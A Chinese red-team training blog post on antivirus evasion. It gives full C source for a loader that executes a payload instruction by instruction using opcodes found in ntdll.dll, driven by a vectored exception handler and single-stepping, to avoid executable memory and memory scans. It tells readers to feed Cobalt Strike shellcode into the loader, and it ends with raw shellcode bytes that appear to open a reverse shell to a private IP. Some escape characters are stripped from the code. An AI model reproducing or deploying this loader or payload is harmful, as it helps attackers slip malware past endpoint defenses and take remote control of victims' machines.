红队免杀培训第一章-不可执行的shellcode

admin 2022年3月4日17:53:26评论72 views字数 17765阅读59分13秒阅读模式

红队免杀培训第一章-不可执行的shellcode

点击上方“蓝字”,关注更多精彩

红队免杀培训第一章-不可执行的shellcode

前言

这里照常去做CS的免杀加载器的实现,因为用先有的c2框架是非常方便顺手,当然你自己开发的c2框架也行,肯定也有生成shellcode这个功能,也需要进行内存执行的需求。

今天要讲的这种原理是根据ntdll.dll先有的指令来执行我们的代码,恶意代码保存在于数据部分中,这种的好处是我们绕过了不可执行的内存保护,绕过了静态代码分析,这种技术有点pwn利用链的感觉,玩过的pwn都知道,我们去rop构造利用链的时候就是去找文件原有的汇编代码,通过地址来使用,达到我们想要组合利用的效果,这样的好处就是,我们运行的所有指令在内存中的地址都是分散的,起到对抗杀软内存扫描的效果,因为这种方式已经脱离了传统的分配可执行的内存空间,然后把shellcode放进去执行,没有可执行的分配内存区域可供扫描,免杀效果很好。

红队免杀培训第一章-不可执行的shellcode
红队免杀培训第一章-不可执行的shellcode

原理和准备

需要用的windows api

1.RtlAddVectoredExceptionHandler 这是用来添加自定义异常处理程序

工作流程:

 1.创建一个包含我们要执行的所有汇编指令的数据结构。

  1. 在ntdll.dll的代码段中搜索上述每条指令并存储地址。

  2. 使用RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序

  3. 使用int 3 触发断点

  4. 程序现在已经进入了我们自定义的异常处理程序,存储原始线程上下文以供以后使用

  5. 将 EIP 寄存器设置为列表中的第一个目标指令(在ntdll.dll中)

  6. 如果当前指令是“调用”,则在调用后直接在指令上使用Dr0调试寄存器设置硬件断点——我们要“跳过”调用。否则,使用EFlags |= 0x100设置单步标志以中断下一条指令

  7. 更新当前指令所需的任何其他寄存器的值

  8. 使用EXCEPTION_CONTINUE_EXECUTION继续执行。下一条指令将引发另一个异常,我们将回到步骤 6 继续,直到所有指令都按顺序运行。

  9. 在所有目标指令执行完毕后,从步骤5恢复原始线程上下文以继续程序的原始流程。

简而言之,通过RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序,然后保存上下文,然后通过找到的汇编指令地址去执行,执行完毕后又引发异常处理程序,去执行其他指令,所有指令执行完毕之后,就直接恢复之前的保存的状态,而我们要执行的汇编指令是保存在结构体的。

参考代码(下面结构体保存着弹框的汇编代码实例):

InstructionEntryStruct Global_InstructionList[] =
{
// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置弹框titie "gammalab"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },

// 将消息框title ptr 存储在 edi 寄存器中
{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },

//使用 GlobalAlloc 为消息框文本分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置消息框文本内容为 "gammalabredteam"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },



// 调用MessageBoxA
{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },
{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },
{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

可以看到结构头定义如下:

struct InstructionEntryStruct
{
char *pLabel;
BYTE bInstruction[16];
DWORD dwInstructionLength;
DWORD dwInstructionAddr;
DWORD dwEax;
DWORD dwEbx;
DWORD dwEcx;
DWORD dwEdx;
DWORD dwEdi;
DWORD dwEsi;
DWORD dwInstructionFlags;
};

pLabel:此字段仅用于记录/调试目的,到时候可以看到具体是哪条指令出错了

bInstruction:该字段包含汇编指令的操作码,例如push eax的 0x50

dwInstructionLength:bInstruction 字段的长度

dwInstructionAddr:此字段由程序填充 -扫描ntdll.dll以查找匹配指令的地址

dwEax / dwEbx / dwEcx / dwEdx / dwEdi / dwEsi 这些字段设置当前指令执行前的指定寄存器值。

dwInstructionFlags:该字段指定应该更新哪些寄存器值,它还用于指定当前指令是否为“调用”。

但是从ntdll.dll内存中找我们想要的代码是有局限性的,比如一些特殊数据,不能从现有的内存里面找到,这时候就需要在执行指令之前在异常处理程序中操作寄存器,更改寄存器的值。

实际代码示例

弹框的shellcode示例代码:

#include <stdio.h>
#include <windows.h>

#define FLAG_EAX 0x00000001
#define FLAG_EBX 0x00000002
#define FLAG_ECX 0x00000004
#define FLAG_EDX 0x00000008
#define FLAG_EDI 0x00000010
#define FLAG_ESI 0x00000020
#define FLAG_CALL 0x00000040

struct InstructionEntryStruct
{
const char* pLabel;
BYTE bInstruction[16];
DWORD dwInstructionLength;
DWORD dwInstructionAddr;
DWORD dwEax;
DWORD dwEbx;
DWORD dwEcx;
DWORD dwEdx;
DWORD dwEdi;
DWORD dwEsi;
DWORD dwInstructionFlags;
};
DWORD dwGlobal_CurrInstruction = 0;
CONTEXT Global_OrigContext;
InstructionEntryStruct Global_InstructionList[] =
{
// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置弹框titie "gammalab"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },

// 将消息框title ptr 存储在 edi 寄存器中
{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },

//使用 GlobalAlloc 为消息框文本分配 1kb 缓冲区
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },
{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },

// 设置消息框文本内容为 "gammalabredteam"
{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '', 0, 0, FLAG_EDX },
{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },



// 调用MessageBoxA
{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },
{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },
{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },
{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

LONG WINAPI ExceptionHandler(EXCEPTION_POINTERS* pExceptionInfo)
{
InstructionEntryStruct* pCurrInstruction = NULL;

// 确保这是一个断点/单步异常
if (pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_BREAKPOINT && pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
{
// 这不是我们预期的异常,所以将此异常传递给下一个处理程序
return EXCEPTION_CONTINUE_SEARCH;
}
// 重置硬件断点
pExceptionInfo->ContextRecord->Dr0 = 0;
pExceptionInfo->ContextRecord->Dr7 = 0;

if (dwGlobal_CurrInstruction == 0)
{
// 存储原始上下文
memcpy((void*)&Global_OrigContext, (void*)pExceptionInfo->ContextRecord, sizeof(CONTEXT));
}
else if (dwGlobal_CurrInstruction >= (sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0])))
{
// 完成执行所有指令 - 恢复原始上下文
memcpy((void*)pExceptionInfo->ContextRecord, (void*)&Global_OrigContext, sizeof(CONTEXT));

// 移动到下一条指令(在 int3 之后)
pExceptionInfo->ContextRecord->Eip++;

// 继续执行
return EXCEPTION_CONTINUE_EXECUTION;
}

// 获取当前指令入口
pCurrInstruction = &Global_InstructionList[dwGlobal_CurrInstruction];


// 将指令 ptr 设置为下一条指令
pExceptionInfo->ContextRecord->Eip = pCurrInstruction->dwInstructionAddr;

// 检查注册标志
if (pCurrInstruction->dwInstructionFlags & FLAG_EAX)
{
//设置eax
printf("<InternalExHandler> mov eax, 0x%xn", pCurrInstruction->dwEax);
pExceptionInfo->ContextRecord->Eax = pCurrInstruction->dwEax;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EBX)
{
// 设置 ebx
printf("<InternalExHandler> mov ebx, 0x%xn", pCurrInstruction->dwEbx);
pExceptionInfo->ContextRecord->Ebx = pCurrInstruction->dwEbx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_ECX)
{
// 设置 ecx
printf("<InternalExHandler> mov ecx, 0x%xn", pCurrInstruction->dwEcx);
pExceptionInfo->ContextRecord->Ecx = pCurrInstruction->dwEcx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EDX)
{
// 设置 edx
printf("<InternalExHandler> mov edx, 0x%xn", pCurrInstruction->dwEdx);
pExceptionInfo->ContextRecord->Edx = pCurrInstruction->dwEdx;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_EDI)
{
// 设置 edi
printf("<InternalExHandler> mov edi, 0x%xn", pCurrInstruction->dwEdi);
pExceptionInfo->ContextRecord->Edi = pCurrInstruction->dwEdi;
}
else if (pCurrInstruction->dwInstructionFlags & FLAG_ESI)
{
// 设置 esi
printf("<InternalExHandler> mov esi, 0x%xn", pCurrInstruction->dwEsi);
pExceptionInfo->ContextRecord->Esi = pCurrInstruction->dwEsi;
}

// 打印当前指令标签
printf("<ntdll: 0x%08X> %sn", pCurrInstruction->dwInstructionAddr, pCurrInstruction->pLabel);

// 检查这是否是“呼叫”指令
if (pCurrInstruction->dwInstructionFlags & FLAG_CALL)
{
// 在“调用”之后的第一条指令上设置硬件断点
pExceptionInfo->ContextRecord->Dr0 = pCurrInstruction->dwInstructionAddr + pCurrInstruction->dwInstructionLength;
pExceptionInfo->ContextRecord->Dr7 = 1;
}
else
{
// 一小步
pExceptionInfo->ContextRecord->EFlags |= 0x100;
}
//移动到下一条指令
dwGlobal_CurrInstruction++;
//继续执行
return EXCEPTION_CONTINUE_EXECUTION;
}

DWORD GetModuleCodeSection(DWORD dwModuleBase, DWORD* pdwCodeSectionStart, DWORD* pdwCodeSectionLength)
{
IMAGE_DOS_HEADER* pDosHeader = NULL;
IMAGE_NT_HEADERS* pNtHeader = NULL;
IMAGE_SECTION_HEADER* pCurrSectionHeader = NULL;
char szCurrSectionName[16];
DWORD dwFound = 0;
DWORD dwCodeSectionStart = 0;
DWORD dwCodeSectionLength = 0;
// 获取dos header ptr(模块开始)
pDosHeader = (IMAGE_DOS_HEADER*)dwModuleBase;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return 1;
}
// 获取nt头指针
pNtHeader = (IMAGE_NT_HEADERS*)((BYTE*)pDosHeader + pDosHeader->e_lfanew);
if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
return 1;
}
// 循环遍历所有部分
for (DWORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
{
// 获取当前节标题
pCurrSectionHeader = (IMAGE_SECTION_HEADER*)((BYTE*)pNtHeader + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));

// pCurrSectionHeader->如果使用了所有 8 个字符,则名称不以 null 结尾 - 将其复制到更大的本地缓冲区
memset(szCurrSectionName, 0, sizeof(szCurrSectionName));
memcpy(szCurrSectionName, pCurrSectionHeader->Name, sizeof(pCurrSectionHeader->Name));

// 检查这是否是主要代码部分
if (strcmp(szCurrSectionName, ".text") == 0)
{
// 找到代码段
dwFound = 1;
dwCodeSectionStart = dwModuleBase + pCurrSectionHeader->VirtualAddress;
dwCodeSectionLength = pCurrSectionHeader->SizeOfRawData;
break;
}
}

// 确保找到代码部分
if (dwFound == 0)
{
return 1;
}
// 存储值
*pdwCodeSectionStart = dwCodeSectionStart;
*pdwCodeSectionLength = dwCodeSectionLength;
return 0;
}

DWORD ScanForInstructions()
{
DWORD dwInstructionCount = 0;
DWORD dwCurrSearchPos = 0;
DWORD dwBytesRemaining = 0;
DWORD dwFoundAddr = 0;
DWORD dwCodeSectionStart = 0;
DWORD dwCodeSectionLength = 0;

// 计算指令数
dwInstructionCount = sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0]);

// 查找ntdll代码段范围
if (GetModuleCodeSection((DWORD)GetModuleHandle("ntdll.dll"), &dwCodeSectionStart, &dwCodeSectionLength) != 0)
{
printf("1111");
return 1;
}

// 扫描指令
for (DWORD i = 0; i < dwInstructionCount; i++)
{
// 检查是否已经找到该指令的地址
if (Global_InstructionList[i].dwInstructionAddr != 0)
{
continue;
}
// 在 ntdll 代码部分找到这条指令
dwCurrSearchPos = dwCodeSectionStart;
dwBytesRemaining = dwCodeSectionLength;
dwFoundAddr = 0;
for (;;)
{
// 检查是否已到达代码段的末尾
if (Global_InstructionList[i].dwInstructionLength > dwBytesRemaining)
{
break;
}
// 检查指令是否存在于此处
if (memcmp((void*)dwCurrSearchPos, (void*)Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0)
{
dwFoundAddr = dwCurrSearchPos;
break;
}

// 更新搜索索引
dwCurrSearchPos++;
dwBytesRemaining--;
}

// 确保找到操作码
if (dwFoundAddr == 0)
{
printf("Error: Instruction not found in ntdll: '%s'n", Global_InstructionList[i].pLabel);

return 1;
}

// store 地址
Global_InstructionList[i].dwInstructionAddr = dwFoundAddr;

// 将此指令地址复制到列表中的任何其他匹配指令
for (DWORD ii = 0; ii < dwInstructionCount; ii++)
{
// 检查指令长度是否匹配
if (Global_InstructionList[ii].dwInstructionLength == Global_InstructionList[i].dwInstructionLength)
{
// 检查指令操作码是否匹配
if (memcmp(Global_InstructionList[ii].bInstruction, Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0)
{
// 复制指令地址
Global_InstructionList[ii].dwInstructionAddr = Global_InstructionList[i].dwInstructionAddr;
}
}
}
}
return 0;
}

int main()
{
PVOID(WINAPI * RtlAddVectoredExceptionHandler)(DWORD dwFirstHandler, void* pExceptionHandler);
DWORD dwThreadID = 0;
HANDLE hThread = NULL;
// 获取 RtlAddVectoredExceptionHandler 函数 ptr
RtlAddVectoredExceptionHandler = (void* (__stdcall*)(unsigned long, void*))GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAddVectoredExceptionHandler");
if (RtlAddVectoredExceptionHandler == NULL)
{
return 1;
}

// 添加异常处理程序
if (RtlAddVectoredExceptionHandler(1, (void*)ExceptionHandler) == NULL)
{
return 1;
}

// 扫描 ntdll 填充指令列表
if (ScanForInstructions() != 0)
{
return 1;
}

//触发异常处理程序的断点
_asm int 3
return 0;
}

效果展示:

红队免杀培训第一章-不可执行的shellcode

那么类推,我们把cs的shellcode转换成汇编,然后放入结构体,那么就能上线。

这里就不放我的实际免杀加载器的代码了,很简单,只需要把shellcode转换成汇编代码,填充进去就行.

把shellcode转换成汇编代码可以参考以下python代码,使用capstone库:

from capstone import *
shellcode = ""
shellcode += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b"
shellcode += "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7"
shellcode += "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf"
shellcode += "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c"
shellcode += "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01"
shellcode += "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31"
shellcode += "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d"
shellcode += "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66"
shellcode += "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0"
shellcode += "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f"
shellcode += "x5fx5ax8bx12xebx8dx5dx68x33x32x00x00x68"
shellcode += "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8"
shellcode += "x90x01x00x00x29xc4x54x50x68x29x80x6bx00"
shellcode += "xffxd5x50x50x50x50x40x50x40x50x68xeax0f"
shellcode += "xdfxe0xffxd5x97x6ax05x68xc0xa8x74x80x68"
shellcode += "x02x00x1fx90x89xe6x6ax10x56x57x68x99xa5"
shellcode += "x74x61xffxd5x85xc0x74x0cxffx4ex08x75xec"
shellcode += "x68xf0xb5xa2x56xffxd5x68x63x6dx64x00x89"
